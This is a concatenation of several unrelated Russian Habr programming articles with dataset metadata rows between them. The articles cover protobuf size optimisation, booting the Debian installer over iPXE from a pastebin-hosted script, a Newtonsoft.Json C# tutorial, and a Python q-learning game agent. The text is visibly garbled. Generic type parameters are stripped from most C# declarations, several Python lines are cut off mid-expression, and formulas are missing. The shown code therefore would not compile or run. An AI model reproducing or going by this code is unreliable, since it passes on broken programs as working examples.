Сделано с помощью http://json.parser.online.fr/`{"EventName":"DELIVERY_CHANGED","DateTime":"2021-02-22T00:04:00.112593982+03:00","OfferId":"109703","OfferFrom":{"Id":"109703","Name":"Саундбар LG SN11R","Url":"https://www.example.ru/saundbar-lg-sn11r/?utm_source=yandex_market&utm_medium=cpc&utm_content=948&utm_campaign=3&utm_term=109703","Price":99990,"DeliveryAvailable":true,"DeliveryCost":0,"DeliveryDate":"2021-02-24T23:49:00+03:00"},"OfferTo":{"Id":"109703","Name":"Саундбар LG SN11R","Url":"https://www.example.ru/saundbar-lg-sn11r/?utm_source=yandex_market&utm_medium=cpc&utm_content=948&utm_campaign=3&utm_term=109703","Price":99990,"DeliveryAvailable":true,"DeliveryCost":0,"DeliveryDate":"2021-02-23T00:04:00.112593982+03:00"}}`
Такое событие занимает 706 байт.
Оптимизация
-----------
1. Для начала я уменьшил ротацию до 7 дней, так как использовалась именно последняя неделя. Здесь стоит отметить, что шаг весьма легкий (в исходном коде изменил 10 на 7), сразу сокращает размер RAM на 30%.
2. Удалил из хранилища все данные, которые записывались, но не использовались во время чтения, такие как *name*, *url*, *offerId* что сократило еще примерно на 50%.
Cтало:
`{"EventName":"DELIVERY_CHANGED","DateTime":"2021-02-22T00:04:00.112593982+03:00","OfferId":"109703","OfferFrom":{"Price":99990,"DeliveryAvailable":true,"DeliveryCost":0,"DeliveryDate":"2021-02-24T23:49:00+03:00"},"OfferTo":{"Price":99990,"DeliveryAvailable":true,"DeliveryCost":0,"DeliveryDate":"2021-02-23T00:04:00.112593982+03:00"}}`
Теперь событие занимает 334 байта.
1. Переделал формат хранение с json в бинарный protobuf.
Об этом шаге хотелось бы рассказать подробнее
1. Составил схему хранения данных, в случее с protobuf это proto - файл:
```
syntax = "proto3";
import "google/protobuf/timestamp.proto";
message OfferEvent {
enum EventType {
PRICE_CHANGED = 0;
DELIVERY_CHANGED = 1;
DELIVERY_SWITCHED = 2;
APPEARED = 3;
DISAPPEARED = 4;
}
EventType event_name = 1;
google.protobuf.Timestamp date_time = 2;
string offer_id = 3;
message Offer {
int32 price = 1;
bool delivery_available = 2;
int32 delivery_cost = 3;
google.protobuf.Timestamp delivery_date = 4;
}
Offer offer_from = 4;
Offer offer_to = 5;
}
```
2. Исходное сообщение в текстовом protobuf формате будет выглядеть так
```
event_name: DELIVERY_CHANGED
date_time {
seconds: 1613941440
}
offer_id: "109703"
offer_from {
price: 99990
delivery_available: true
delivery_date {
seconds: 1614199740
}
}
offer_to {
price: 99990
delivery_available: true
delivery_date {
seconds: 1614027840
}
}
```
3. Сообщение в итоговом бинарном protobuf формате будет выглядеть так
```
echo '
event_name: DELIVERY_CHANGED
date_time {
seconds: 1613941440
}
offer_id: "109703"
offer_from {
price: 99990
delivery_available: true
delivery_date {
seconds: 1614199740
}
}
offer_to {
price: 99990
delivery_available: true
delivery_date {
seconds: 1614027840
}
}
' | protoc --encode=OfferEvent offerevent.proto | xxd -p | tr -d "\n"
0801120608c095cb81061a06313039373033220e08968d061001220608bcf7da81062a0e08968d061001220608c0b8d08106
```Теперь событие занимает 50 байт. Это сократило потребление памяти на 85%.
Бинарное сообщение без proto-схемы можно посмотреть с помощью онлайн-сервиса https://protogen.marcgravell.com/
Итого
-----
Оптимизация места более, чем в 14 раз (50 байт против 706 байт изначальных), то есть на 93%. | https://habr.com/ru/post/546734/ | null | ru | null |
# iPXE загрузка установщика Debian по HTTP
В этой статье хочу рассказать быстрый и удобный способ установить debian на виртуальную машину через iPXE.
Такой вариант мне нравится больше всего, т.к. не требует скачивания каких-либо ISO образов или дополнительной настройки DHCP и TFTPсерверов. Вся загрузка пойдет по HTTP через Интернет.
Будем считать, что у нас есть виртуальная машина, с ipxe (в случае с qemu, ipxe загружается по умлочанию)
Мы хотим загрузить debian wheezy или squeeze
#### Приступим
Загрузка виртуальной машины начинается примерно так:
**```
SeaBIOS (version pre-0.6.3-20120507_233324-palmer)
iPXE (http://ipxe.org) 00:03.0 C900 PCI2.10 PnP PMM+3FFC9200+3FF89200 C900
Press Ctrl-B to configure iPXE (PCI 00:03.0)...
```**
Успеваем, жмем Ctrl-B
Получаем консоль iPXE:
**```
iPXE (PCI 00:03.0) starting execution...ok
iPXE initialising devices...ok
iPXE 1.0.0+ -- Open Source Network Boot Firmware -- http://ipxe.org
Features: HTTP iSCSI DNS TFTP AoE bzImage COMBOOT ELF MBOOT PXE PXEXT
iPXE>
```**
Смотрим сетевые интерфейсы.
В моем примере один интерфейс.
**```
iPXE> ifstat
net0: 52:54:00:75:a6:01 using virtio-net on PCI00:03.0 (closed)
[Link:up, TX:0 TXE:0 RX:0 RXE:0]
```**
Настраиваем интерфейс через dhcp
При этом, никаких особых настроек на DHCP сервере.
Получаем только адрес, маску, шлюз и DNS.
**```
iPXE> dhcp net0
DHCP (net0 52:54:00:75:a6:01)...... ok
```**
Если нет dhcp, не проблема.
Можно настроить руками.
**```
iPXE> config net0
```**
Получаем удобный текстовый интерфейс
**```
iPXE configuration settings - net0
../
dhcp/
busid.......... 01:1a:f4:10:00
mac............ 52:54:00:75:a6:01
gateway........ 192.168.1.1
netmask........ 255.255.255.0
ip............. 192.168.1.6
domain.........
dns............ 192.168.1.1
filename.......
next-server....
root-path......
initiator-iqn..
skip-san-boot..
keep-san.......
...
net0.dhcp/netmask:ipv4 - Subnet mask
http://ipxe.org/cfg/netmask
Ctrl-X - exit configuration utility
```**
Далее нам понадобится указать путь до ядра и до initrd образа для загрузки.
Чтобы не писать полный путь руками (а у Debian он длинный), воспользуемся автоматическим скриптом загрузки и разместим его на HTTP сервере. Поднимать ради этой задачи веб сервер — не нужно. Можно воспользоваться готовыми решениями.
Например [pastebin.com](http://pastebin.com)
Для загрузки текущей стабильной версии Debian, размещаем текст следующего содержания:
```
#!ipxe
kernel http://mirror.yandex.ru/debian/dists/stable/main/installer-i386/current/images/netboot/debian-installer/i386/linux
initrd http://mirror.yandex.ru/debian/dists/stable/main/installer-i386/current/images/netboot/debian-installer/i386/initrd.gz
boot
```
Получаем ссылку для обращения к raw тексту: [pastebin.com/raw.php?i=j2rHY5h0](http://pastebin.com/raw.php?i=j2rHY5h0)
Даем команду загрузчику:
**```
iPXE> chain http://pastebin.com/raw.php?i=j2rHY5h0
```**
Пошла загрузка по HTTP
**```
http://pastebin.com/raw.php?i=j2rHY5h0... ok
http://mirror.yandex.ru/debian/dists/stable/main/installer-i386/current/images/netboot/debian-installer/i386/linux... ok
http://mirror.yandex.ru/debian/dists/stable/main/installer-i386/current/images/netboot/debian-installer/i386/initrd.gz... 57%
```**
Далее идет загрузка установщика debian.
Задача выполнена.
#### П.С.
1. Есть еще замечательный ресурс [www.netboot.me](http://www.netboot.me/)
Но часть записей на нем уже не работает, а создание кастомных записей требует регистрации.
2. Подобным способом можно загружать и реальное оборудование.
Например загрузив iPXE с USB flash [boot.ipxe.org/ipxe.usb](http://boot.ipxe.org/ipxe.usb) (400K)
Либо другого носителя. См.: [www.ipxe.org](http://www.ipxe.org/)
Готовые образы: [boot.ipxe.org](http://boot.ipxe.org/) | https://habr.com/ru/post/188308/ | null | ru | null |
# Работа с библиотекой Newtonsoft.Json на реальном примере. Часть 2
В первой части статьи был рассмотрен механизм парсинга объектов JSON с динамически изменяющейся структурой. Данные объекты приводились к типам пространства имен newtonsoft.json.linq, и затем преобразовывались в структуры языка C#. В комментариях к первой части было много критики, по большей части обоснованной. Во второй части я постараюсь учесть все замечания и пожелания.
Далее речь пойдет о подготовке классов для более тонкой настройки преобразования данных, но в начале необходимо вернуться к самому парсингу JSON. Напомню в первой части были использованы методы Parse() и ToObject<Т>() классов JObject и JArray пространства имен newtonsoft.json.linq:
```
HttpClient httpClient = new HttpClient();
string request = "https://api.exmo.com/v1/trades/?pair=BTC_USD,ETH_USD";
HttpResponseMessage response =
(await httpClient.GetAsync(request)).EnsureSuccessStatusCode();
string responseBody = await response.Content.ReadAsStringAsync();
JObject jObject = JObject.Parse(responseBody);
Dictionary> dict =
jObject.ToObject>>();
```
Необходимо отметить, что в пространстве имен newtonsof.json в классе JsonConvert есть статический метод DeserializeObject<>, позволяющий преобразовывать строки напрямую в структуры C#, соответствующие объектам и массивам нотации JSON:
```
Dictionary> JsonObject =
JsonConvert.DeserializeObject>>(responseBody);
List Json\_Array = JsonConvert.DeserializeObject>(responseBody);
```
И в дальнейшем в статье будет использован именно этот метод, поэтому в программу нужно добавить using newtonsoft.json.
Кроме того, есть возможность еще больше сократить количество промежуточных преобразований — после установки библиотеки Microsoft.AspNet.WebApi.Client (так же доступна через NuGet), данные можно будет парсить прямо из потока используя метод ReadAsAsync:
```
Dictionary> JsonObject = await
(await httpClient.GetAsync(request)).
EnsureSuccessStatusCode().Content.
ReadAsAsync>>();
```
За подсказку спасибо [lair](https://habr.com/ru/post/481514/#comment_21047128).
### Подготовка класса для преобразования
Вернемся к нашему классу Order:
```
class Order
{
public int trade_id { get; set; }
public string type { get; set; }
public double quantity { get; set; }
public double price { get; set; }
public double amount { get; set; }
public int date { get; set; }
}
```
Напомню, он был создан на основе формата, предложенного JSON C# Class Generator`ом. Есть два момента, которые при работе с объектами данного класса могут вызвать сложности.
Первый — в таком виде свойства нашего класса нарушают правила наименования полей. Ну и кроме того, логично для объекта типа Order ожидать что его идентификатор будет называться OrderID (а не traid\_id, как происходило в примерах из первой части). Чтобы связать элемент структуры JSON и свойство класса с произвольным именем, необходимо перед свойством добавить атрибут JsonProperty:
```
class Order
{
[JsonProperty("trade_id")]
public int OrderID { get; set; }
[JsonProperty("type")]
public string Type { get; set; }
[JsonProperty("quantity")]
public double Quantity { get; set; }
[JsonProperty("price")]
public double Price { get; set; }
[JsonProperty("amount")]
public double Amount { get; set; }
[JsonProperty("date")]
public int Date { get; set; }
}
```
В результате, значение, соответствующее элементу “trade\_id”, будет записано в свойство OrderID, “type” в Type и т.д. Так же атрибут JsonProperty необходим для сериализации / десериализации свойств, имеющих модификаторы private или static — по умолчанию такие свойства игнорируются.
В итоге, код для составления списка всех OrderID сделок по валютным парам BTC\_USD и ETH\_USD, может выглядеть следующим образом:
```
using HttpClient httpClient = new HttpClient();
string request = "https://api.exmo.com/v1/trades/?pair=BTC_USD,ETH_USD";
string responseBody = await
(await httpClient.GetAsync(request)).
EnsureSuccessStatusCode().
Content.ReadAsStringAsync();
Dictionary> PairList =
JsonConvert.DeserializeObject>>(responseBody);
List IDs = new List();
foreach (var pair in PairList)
foreach (var order in pair.Value)
IDs.Add(order.OrderID);
```
Вторая сложность при работе с данным классом будет заключаться в свойстве Date. Как можно увидеть, JSON C# Class Generator определил элемент “date” как простое целочисленное число. Но гораздо удобнее было бы, чтобы свойство Date нашего класса имело тип специально созданный для дат — DateTime. Как это сделать — будет описано далее.
### Особенности работы с датами
Начальную фразу [статьи](https://www.newtonsoft.com/json/help/html/datesinjson.htm) в документации по newtonsof.json, с описанием работы с датами, можно примерно перевести как “DateTime в JSON — это тяжко”. Проблема заключается в том, что сама спецификация JSON не содержит информации о том, какой синтаксис необходимо применять для описания даты и времени.
Все относительно неплохо, когда дата в JSON строке представлена в текстовом виде и формат представления соответствует одному из трех вариантов: “Майкрософт” (в настоящее время считается устаревшим), “JavaScript” ([Unix](https://ru.wikipedia.org/wiki/Unix-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F) время) и вариант [ISO 8601](https://ru.wikipedia.org/wiki/ISO_8601). Примеры допустимых форматов:
```
Dictionary d =
new Dictionary { { "date", DateTime.Now } };
string isoDate = JsonConvert.SerializeObject(d);
// {"date":"2019-12-19T14:10:31.3708939+03:00"}
JsonSerializerSettings microsoftDateFormatSettings = new JsonSerializerSettings
{
DateFormatHandling = DateFormatHandling.MicrosoftDateFormat
};
string microsoftDate = JsonConvert.SerializeObject(d, microsoftDateFormatSettings);
// {"date":"\/Date(1576753831370+0300)\/"}
string javascriptDate = JsonConvert.SerializeObject(d, new JavaScriptDateTimeConverter());
// {"date":new Date(1576753831370)}
```
Однако в случае с биржей Exmo, все немного сложнее. В описании API биржи указано, что дата и время указываются в формате Unix (JavaScript). И, теоретически, добавив к нашему свойству Date класса Order функцию преобразования формата из класса JavaScriptDateTimeConverter(), мы должны получить дату, приведенную к типу DateTime:
```
class Order
{
[JsonProperty("trade_id")]
public int OrderID { get; set; }
[JsonProperty("type")]
public string Type { get; set; }
[JsonProperty("quantity")]
public double Quantity { get; set; }
[JsonProperty("price")]
public double Price { get; set; }
[JsonProperty("amount")]
public double Amount { get; set; }
[JsonProperty("date", ItemConverterType = typeof(JavaScriptDateTimeConverter))]
public DateTime Date { get; set; }
}
```
Однако в этом случае, при попытке парсинга данных в переменную типа DateTime появляется уже знакомое по первой части статьи исключение Newtonsoft.Json.JsonReaderException. Происходит это по причине того, что функция преобразования класса JavaScriptDateTimeConverter не умеет конвертировать числовые данные в тип DateTime (это работает только для строк).
Возможный выход из данной ситуации — написать свой собственный класс преобразования форматов. На самом деле такой класс уже есть и его можно использовать, предварительно подключив пространство имен Newtonsoft.Json.Converters (обратите внимание, что обратная функция — конвертирования из DateTime в формат JSON в данном классе не реализована):
```
class UnixTimeToDatetimeConverter : DateTimeConverterBase
{
private static readonly DateTime _epoch =
new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
public override void WriteJson(JsonWriter writer, object value,
JsonSerializer serializer)
{
throw new NotImplementedException();
}
public override object ReadJson(JsonReader reader, Type objectType,
object existingValue, JsonSerializer serializer)
{
if (reader.Value == null)
{
return null;
}
return _epoch.AddSeconds(Convert.ToDouble(reader.Value)).ToLocalTime();
}
}
```
Остается только подключить нашу функцию к свойству Date класса Order. Для этого необходимо использовать атрибут JsonConverter:
```
class Order
{
[JsonProperty("trade_id")]
public int OrderID { get; set; }
[JsonProperty("type")]
public string Type { get; set; }
[JsonProperty("quantity")]
public double Quantity { get; set; }
[JsonProperty("price")]
public double Price { get; set; }
[JsonProperty("amount")]
public double Amount { get; set; }
[JsonProperty("date")]
[JsonConverter(typeof(UnixTimeToDatetimeConverter))]
public DateTime Date { get; set; }
}
```
Теперь наше свойство Date имеет тип DateTime и мы можем, например, сформировать список сделок, за последние 10 минут:
```
HttpClient httpClient = new HttpClient();
string request = "https://api.exmo.com/v1/trades/?pair=BTC_USD,ETH_USD";
string responseBody = await
(await httpClient.GetAsync(request)).
EnsureSuccessStatusCode().
Content.ReadAsStringAsync();
Dictionary> PairList =
JsonConvert.DeserializeObject>>(responseBody);
List Last10minuts = new List();
foreach (var pair in PairList)
foreach (var order in pair.Value)
if (order.Date > DateTime.Now.AddMinutes(-10))
Last10minuts.Add(order);
```
**Полный текст программы**
```
using System;
using System.Threading.Tasks;
using System.Collections.Generic;
using System.Net.Http;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using Newtonsoft.Json.Serialization;
namespace JSONObjects
{
class Order
{
[JsonProperty("pair")]
public string Pair { get; set; }
[JsonProperty("trade_id")]
public int OrderID { get; set; }
[JsonProperty("type")]
public string Type { get; set; }
[JsonProperty("quantity")]
public double Quantity { get; set; }
[JsonProperty("price")]
public double Price { get; set; }
[JsonProperty("amount")]
public double Amount { get; set; }
[JsonProperty("date")]
[JsonConverter(typeof(UnixTimeToDatetimeConverter))]
public DateTime Date { get; set; }
}
class UnixTimeToDatetimeConverter : DateTimeConverterBase
{
private static readonly DateTime _epoch =
new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
public override void WriteJson(JsonWriter writer, object value,
JsonSerializer serializer)
{
throw new NotImplementedException();
}
public override object ReadJson(JsonReader reader, Type objectType,
object existingValue, JsonSerializer serializer)
{
if (reader.Value == null)
{
return null;
}
return _epoch.AddSeconds(Convert.ToDouble(reader.Value)).ToLocalTime();
}
}
class Program
{
public static async Task Main(string[] args)
{
using HttpClient httpClient = new HttpClient();
string request = "https://api.exmo.com/v1/trades/?pair=BTC_USD,ETH_USD";
string responseBody = await
(await httpClient.GetAsync(request)).
EnsureSuccessStatusCode().
Content.ReadAsStringAsync();
Dictionary> PairList = JsonConvert.
DeserializeObject>>(responseBody);
List Last10minuts = new List();
foreach (var pair in PairList)
foreach (var order in pair.Value)
if (order.Date > DateTime.Now.AddMinutes(-10))
Last10minuts.Add(order);
}
}
}
```
### Подмена имен элементов JSON
Ранее мы работали с командой trades биржи. Данная команда возвращает объекты со следующими полями:
```
public class BTCUSD
{
public int trade_id { get; set; }
public string type { get; set; }
public string quantity { get; set; }
public string price { get; set; }
public string amount { get; set; }
public int date { get; set; }
}
```
Команда биржи user\_open\_orders возвращает очень похожую структуру:
```
public class BTCUSD
{
public string order_id { get; set; }
public string created { get; set; }
public string type { get; set; }
public string pair { get; set; }
public string quantity { get; set; }
public string price { get; set; }
public string amount { get; set; }
}
```
Поэтому имеет смысл адаптировать класс Order, чтобы в него можно было преобразовывать не только данные команды trade, но также и данные команды user\_open\_orders.
Отличия заключаются в том, что появился новый элемент pair, содержащий название валютной пары, trade\_id заменен на order\_id (и теперь это строка), а date стала created и тоже является строкой.
Начнем с того, что добавим возможность сохранения полей order\_id и created в соответствующие поля OrderID и Date класса Order. Для этого подготовим класс OrderDataContractResolver, в котором будет происходить подмена имен полей для парсинга (потребуются пространства имен System.Reflection и Newtonsoft.Json.Serialization):
```
class OrderDataContractResolver : DefaultContractResolver
{
public static readonly OrderDataContractResolver Instance =
new OrderDataContractResolver();
protected override JsonProperty CreateProperty(MemberInfo member,
MemberSerialization memberSerialization)
{
var property = base.CreateProperty(member, memberSerialization);
if (property.DeclaringType == typeof(Order))
{
if (property.PropertyName.Equals("trade_id",
StringComparison.OrdinalIgnoreCase))
{
property.PropertyName = "order_id";
}
if (property.PropertyName.Equals("date",
StringComparison.OrdinalIgnoreCase))
{
property.PropertyName = "created";
}
}
return property;
}
}
```
Далее этот класс необходимо указать в качестве параметра метода DeserializeObject следующим образом:
```
Dictionary> PairList =
JsonConvert.DeserializeObject>>(responseBody,
new JsonSerializerSettings { ContractResolver =
OrderDataContractResolver.Instance });
```
В результате, такая JSON структура, полученная в качестве ответа на команду user\_open\_orders:
```
{"BTC_USD":[{"order_id":"4722868563","created":"1577349229","type":"sell","pair":"BTC_USD","quantity":"0.002","price":"8362.2","amount":"16.7244"}]}
```
будет преобразована в такую структуру данных:
Обратите внимание, что для корректной работы программы, тип поля OrderID в классе Order пришлось заменить на string.
**Полный текст программы**
```
using System;
using System.Threading.Tasks;
using System.Collections.Generic;
using System.Net.Http;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using Newtonsoft.Json.Converters;
using Newtonsoft.Json.Serialization;
using System.Reflection;
namespace JSONObjects
{
class Order
{
[JsonProperty("pair")]
public string Pair { get; set; }
[JsonProperty("trade_id")]
public string OrderID { get; set; }
[JsonProperty("type")]
public string Type { get; set; }
[JsonProperty("quantity")]
public double Quantity { get; set; }
[JsonProperty("price")]
public double Price { get; set; }
[JsonProperty("amount")]
public double Amount { get; set; }
[JsonProperty("date")]
[JsonConverter(typeof(UnixTimeToDatetimeConverter))]
public DateTime Date { get; set; }
}
class OrderDataContractResolver : DefaultContractResolver
{
public static readonly OrderDataContractResolver Instance =
new OrderDataContractResolver();
protected override JsonProperty CreateProperty(MemberInfo member,
MemberSerialization memberSerialization)
{
var property = base.CreateProperty(member, memberSerialization);
if (property.DeclaringType == typeof(Order))
{
if (property.PropertyName.Equals("trade_id",
StringComparison.OrdinalIgnoreCase))
{
property.PropertyName = "order_id";
}
if (property.PropertyName.Equals("date",
StringComparison.OrdinalIgnoreCase))
{
property.PropertyName = "created";
}
}
return property;
}
}
class UnixTimeToDatetimeConverter : DateTimeConverterBase
{
private static readonly DateTime _epoch =
new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
public override void WriteJson(JsonWriter writer, object value,
JsonSerializer serializer)
{
throw new NotImplementedException();
}
public override object ReadJson(JsonReader reader, Type objectType,
object existingValue, JsonSerializer serializer)
{
if (reader.Value == null)
{
return null;
}
return _epoch.AddSeconds(Convert.ToDouble(reader.Value)).ToLocalTime();
}
}
class Program
{
public static async Task Main(string[] args)
{
using HttpClient httpClient = new HttpClient();
string request = "https://api.exmo.com/v1/trades/?pair=BTC_USD,ETH_USD";
string responseBody = await
(await httpClient.GetAsync(request)).
EnsureSuccessStatusCode().
Content.ReadAsStringAsync();
Dictionary> PairList =
new Dictionary>();
JObject jObject = JObject.Parse(responseBody);
foreach (var pair in jObject)
{
List orders = new List();
foreach (var order in pair.Value.ToObject>())
{
order.Pair = pair.Key;
orders.Add(order);
}
PairList.Add(pair.Key, orders);
}
responseBody = "{\"BTC\_USD\":[{\"order\_id\":\"4722868563\"," +
"\"created\":\"1577349229\",\"type\":\"sell\"," +
"\"pair\":\"BTC\_USD\",\"quantity\":\"0.002\"," +
"\"price\":\"8362.2\",\"amount\":\"16.7244\"}]}";
Dictionary> PairList1 =
JsonConvert.DeserializeObject>>
(responseBody, new JsonSerializerSettings { ContractResolver =
OrderDataContractResolver.Instance });
}
}
}
}
```
Как можно заметить, при вызове команды user\_open\_orders, ответ содежит поле “pair”, в случае же команды trade информация о валютной паре содержится только в значении ключа. Поэтому придется либо заполнить поле Pair уже после парсинга:
```
foreach (var pair in PairList)
foreach (var order in pair.Value)
order.Pair = pair.Key;
```
Либо же воспользоваться объектом JObject:
```
Dictionary> PairList = new Dictionary>();
JObject jObject = JObject.Parse(responseBody);
foreach (var pair in jObject)
{
List orders = new List();
foreach (var order in pair.Value.ToObject>())
{
order.Pair = pair.Key;
orders.Add(order);
}
PairList.Add(pair.Key, orders);
}
```
Что в конечном итоге приведет к созданию следующей структуры данных:
 | https://habr.com/ru/post/482042/ | null | ru | null |
# Пробуем q-learning на вкус, повесть в трех частях
Эта статья — небольшая заметка о реализации алгоритма q-learning для управления агентом в стохастическом окружении. Первая часть статьи будет посвящена созданию окружения для проведения симуляций — мини-игр на поле nxn, в которых агент должен как можно дольше продержаться на удалении от противников, движущихся случайным образом. Задача противников, соответственно, его настигнуть. Очки начисляются за каждый ход, проведенный агентом в симуляции. Вторая часть статьи затронет основы q-learning алгоритма и его имплементацию. В третьей части попробуем поменять параметры, которые определяют восприятие окружения агентом. Проанализируем влияние этих параметров на результативность его игры. Акцент я специально сместил в сторону использования минимального количества сторонних модулей. Цель — прикоснуться к самой сути алгоритма, так сказать потрогать руками. Для реализации будем использовать только «pure» python 3.
Часть 1. Создание окружения
---------------------------
Среда, в которой действует агент, представлена двумерным полем размера n. Вот так оно выглядит:
Здесь единицей представлен агент, двойкой обозначен противник. Теперь обратимся непосредственно к коду. Переменные, которые описывают окружение: размер поля, агент, список противников.
**класс окружения**
```
class W:
def __init__(self,n):
self.n=n
self.P=P(1,1,n)
self.ens=[EN(3,3,n),EN(4,4,n),EN(5,5,n)]
```
Типовой актор: агент или противник.
**класс актора**
```
class un:
def __init__(self,x,y):
self.x = x
self.y = y
def getxy(self):
return self.x, self.y
```
Описание aгента.
**класс агента**
```
class P(un):
def __init__(self,x,y,n):
self.n=n
un.__init__(self,x,y)
```
Стратегия агента, пока пустая.
**метод, вызывающий стратегию агента**
```
def strtg(self):
return 0,0
```
Каждый из участников симуляции может совершать ход в любом направлении, в том числе по диагонали, актор также может не перемещаться вовсе. Набор разрешенных движений на примере противника:
Благодаря движениям по диагонали противник всегда имеет возможность настигнуть агента, как бы тот ни старался уйти. Это обеспечивает конечное количество ходов симуляции для любой степени обученности агента. Запишем его возможные действия с проверкой валидности смещения. Метод принимает изменение координат агента и обновляет его положение.
**метод хода агента**
```
def move(self):
dx,dy=self.strtg()
a=self.x+dx
b=self.y+dy
expr=((0<=a
```
Описание противника.
**класс противника**
```
class EN(un):
def __init__(self,x,y,n):
self.n=n
un.__init__(self,x,y)
```
Перемещение противника с проверкой допустимости смещения. Метод не выходит из цикла до тех пор, пока не удовлетворено условие валидности хода.
**метод хода противника**
```
def move(self):
expr=False
while not expr:
a=self.x+random.choice([-1,0,1])
b=self.y+random.choice([-1,0,1])
expr=((0<=a
```
Один шаг симуляции. Обновление позиции противника и агента.
**метод окружения, разворачивает последующий шаг симуляции**
```
def step(self):
for i in self.ens:
i.move()
self.P.move()
```
Визуализация работы симуляции.
**метод окружения, отрисовка поля и положения акторов**
```
def pr(self):
print('\n'*100)
px,py=self.P.getxy()
self.wmap=list([[0 for i in range(self.n)] for j in range(self.n)])
self.wmap[py][px]=1
for i in self.ens:
ex,ey=i.getxy()
self.wmap[ey][ex]=2
for i in self.wmap:
print(i)
```
Симуляция, основные этапы:
1. Регистрация координат акторов.
2. Проверка достижения условий завершения симуляции.
3. Старт цикла обновления ходов симуляции.
— Отрисовка окружения.
— Обновление состояния симуляции.
— Регистрация координат акторов.
— Проверка достижения условий завершения симуляции.
4. Отрисовка окружения.
**метод окружения, воспроизведение последовательности симуляции**
```
def play(self):
px,py=self.P.getxy()
bl=True
for i in self.ens:
ex,ey=i.getxy()
bl=bl and (px,py)!=(ex,ey)
iter=0
while bl:
time.sleep(1)
wr.pr()
self.step()
px,py=self.P.getxy()
bl=True
for i in self.ens:
ex,ey=i.getxy()
bl=bl and (px,py)!=(ex,ey)
print((px,py),(ex,ey))
print('___')
iter=iter+1
print(iter)
```
Инициализация окружения и запуск.
**запуск симуляции**
```
if __name__=="__main__":
wr=W(7)
wr.play()
wr.pr()
```
Часть 2. Обучение агента
------------------------
Метод q-learning основан на введении функции Q, отражающей ценность каждого возможного действия a агента для текущего состояния s, в котором сейчас находится симуляция. Или коротко:
Эта функция задает оценку агентом той награды, которую он может получить, совершив в определенный ход определенное действие. А также она включает в себя оценку того, какую награду агент может получить в будущем. Процесс обучения представляет из себя итерационное уточнение значения функции Q на каждом ходу агента. В первую очередь следует определить величину награды, которую агент получит в этот ход. Запишем ее переменной . Далее определим величину максимальной ожидаемой награды на последующих ходах:
Теперь следует решить, что для агента имеет большую ценность: сиюминутные награды или будущие. Данная проблема разрешается дополнительным коэффициентом при составляющей оценки последующих наград. В итоге предсказываемая агентом величина функции Q на данном шаге должна быть максимально приближена к значению:
Таким образом, ошибка предсказания агентом значения функции Q для текущего хода запишется следующим образом:
Введем коэффициент, который будет регулировать скорость обучения агента. Тогда формула для итерационного расчета функции Q имеет вид:
Общая формула итерационного расчета функции Q:
Выделим основные признаки, которые будут составлять описание окружения с точки зрения агента. Чем обширнее набор параметров, тем точнее его реакция на изменения среды. В то же время размер пространства состояний может существенно влиять на скорость обучения.
**метод агента, признаки, описывающие состояние окружения**
```
def get_features(self,x,y):
features=[]
for i in self.ens: #800-1400
ex,ey=i.getxy()
features.append(ex)
features.append(ey)
features.append(x)
features.append(y)
return features
```
Создание класса Q модели. Переменная gamma – коэффициент затухания, позволяющий нивелировать вклад последующих наград. Переменная alpha — коэффициент скорости обучения модели. Переменная state – словарь состояний модели.
**класс Q модели**
```
class Q:
def __init__(self):
self.gamma=0.95
self.alpha=0.05
self.state={}
```
Получим состояние агента в данный ход.
**метод Q модели, по запросу получает состояние агента**
```
def get_wp(self,plr):
self.plr=plr
```
Тренируем модель.
**метод Q модели, один этап обучения модели**
```
def run_model(self,silent=1):
self.plr.prev_state=self.plr.curr_state[:-2]+(self.plr.dx,self.plr.dy)
self.plr.curr_state=tuple(self.plr.get_features(self.plr.x,self.plr.y))+(
self.plr.dx,self.plr.dy)
if not silent:
print(self.plr.prev_state)
print(self.plr.curr_state)
r=self.plr.reward
if self.plr.prev_state not in self.state:
self.state[self.plr.prev_state]=0
nvec=[]
for i in self.plr.actions:
cstate=self.plr.curr_state[:-2]+(i[0],i[1])
if cstate not in self.state:
self.state[cstate]=0
nvec.append(self.state[cstate])
nvec=max(nvec)
self.state[self.plr.prev_state]=self.state[self.plr.prev_state]+self.alpha*(-self.state[self.plr.prev_state]+r+self.gamma*nvec)
```
Метод получения наград. Агенту присваевается награда за продолжение симуляции. Штраф зачисляется за коллизию с противником.
**метод окружения, определение размера наград**
```
def get_reward(self,end_bool):
if end_bool:
self.P.reward=1
else:
self.P.reward=-1
```
Стратегия агента. Производит выбор наилучшего значения из словаря состояний модели. Классу агента добавлена переменная eps, вносящая элемент случайности при выборе хода. Это делается для изучения смежных возможных действий в данном состоянии.
**метод агента, выбор следующего хода**
```
def strtg(self):
if random.random()
```
Покажем, чему удалось научиться агенту при полной передаче информации о состоянии симуляции(абсолютные координаты агента, абсолютные координаты противника):
**результат работы алгоритма(гифка ~1Мб)**
Часть 3. Варьируем параметры, отражающие состояние окружения для агента
-----------------------------------------------------------------------
Для начала рассмотрим ситуацию, когда агенту не поступает вообще никакой информации об окружении.
**features 1**
```
def get_features(self,x,y):
features=[]
return features
```
В результате работы такого алгоритма агент набирает в среднем 40-75 очков за одну симуляцию. График обучения:
Добавим агенту данных. В первую очередь необходимо знать, как далеко находится противник. Вычислим это используя евклидово расстояние. Также важно иметь представление насколько близко агент подошел к кромке.
**features 2**
```
def get_features(self,x,y):
features=[]
for i in self.ens:
ex,ey=i.getxy()
dx=abs(x-ex)
dy=abs(y-ey)
l=hypot(dx,dy)
features.append(l)
to_brdr=min(x,y,self.n-1-x,self.n-1-y)
features.append(to_brdr)
return features
```
Учет этой информации поднимает нижние показатели агента на 20 очков за симуляцию и его средний счет становится в пределах 60-100 баллов. Несмотря на то, что реакция на изменения в окружении улучшилась, мы все еще теряем львиную долю необходимых данных. Так, агент до сих пор не знает, в какую сторону нужно двигаться, чтобы разорвать дистанцию с противником или отойти от края кромки. График обучения:
Следующий этап – добавим агенту знание, с какой стороны от него расположен противник, а также находится агент на кромке поля или нет.
**features 3**
```
def get_features(self,x,y):
features=[]
for i in self.ens:
ex,ey=i.getxy()
features.append(x-ex)
features.append(y-ey)
# if near wall x & y.
if x==0:
features.append(-1)
elif x==self.n-1:
features.append(1)
else:
features.append(0)
if y==0:
features.append(-1)
